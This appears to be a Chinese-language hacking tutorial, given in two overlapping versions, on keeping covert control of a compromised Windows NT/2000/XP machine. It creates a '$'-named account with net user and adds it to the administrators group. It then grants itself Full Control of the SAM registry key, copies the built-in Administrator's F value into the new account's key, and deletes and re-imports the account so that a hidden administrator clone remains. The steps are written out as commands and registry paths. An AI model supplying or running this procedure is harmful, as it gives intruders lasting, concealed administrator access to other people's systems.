對regedit.exe我想大家都很熟悉,但卻不能對注冊表的項鍵設置權限,而regedt32.exe最大的優點就是能夠對注冊表的項鍵設置權限。nt/2000/xp的帳戶信息都在注冊表的HKEY_LOCAL_MACHINE/SAM/SAM鍵下,但是除了系統用戶SYSTEM外,其它用戶都無權查看到里面的信息,因此我首先用regedt32.exe對SAM鍵為我設置為“完全控制”權限。這樣就可以對SAM鍵內的信息進行讀寫了了。具體步聚如下:
1、假設我們是以超級用戶administrator登錄到開有終端服務的肉雞上的,首先在命令行下或帳戶管理器中建立一個帳戶:hacker$,這里我在命令行下建立這個帳戶 net user hacker$ 1234 /add
2、在開始/運行中輸入:regedt32.exe并回車來運行regedt32.exe。
3、點“權限”以后會彈出窗口點添加將我登錄時的帳戶添加到安全欄內,這里我是以administrator的身份登錄的,所以我就將administrator加入,并設置權限為“完全控制"。這里需要說明一下:最好是添加你登錄的帳戶或帳戶所在的組,切莫修改原有的帳戶或組,否則將會帶來一系列不必要的問題。等隱藏超級用戶建好以,再來這里將你添加的帳戶刪除即可。
4、再點“開始”→“運行”并輸入"regedit.exe" 回車,啟動注冊表編輯器regedit.exe。 打開鍵:HKEY_LOCAL_MAICHINE/SAM/SAM/Domains/account/user/names/hacker$"
步驟:
創建一個以$結尾的用戶(因為這樣在命令行下不顯示該用戶)
列:net user laterain$ 123456 /add
net localgroup administrators laterain$ /add
打開注冊表(運行:regedit)
進入 HKEY_LOCAL_MACHINE/SAM/SAM
修改SAM的權限為 完全控制
刷新 F5
進入 HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users
復制 HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/000001F4 的F的值(此處為管理員)
進入 HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/Names/laterain$ 查看類型的值(0*3ef)
根據類型的值在 HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users 中找到 laterain$ 的對應名稱(000003EF)
將 HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/000003EF 的F值改為管理員的
然后導出 HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/000001F4
HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/000003EF
HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/Names/laterain$
然后刪除用戶 laterain$
例:net user laterain$ /delete
然后導入剛才導出的文件
新聞熱點
疑難解答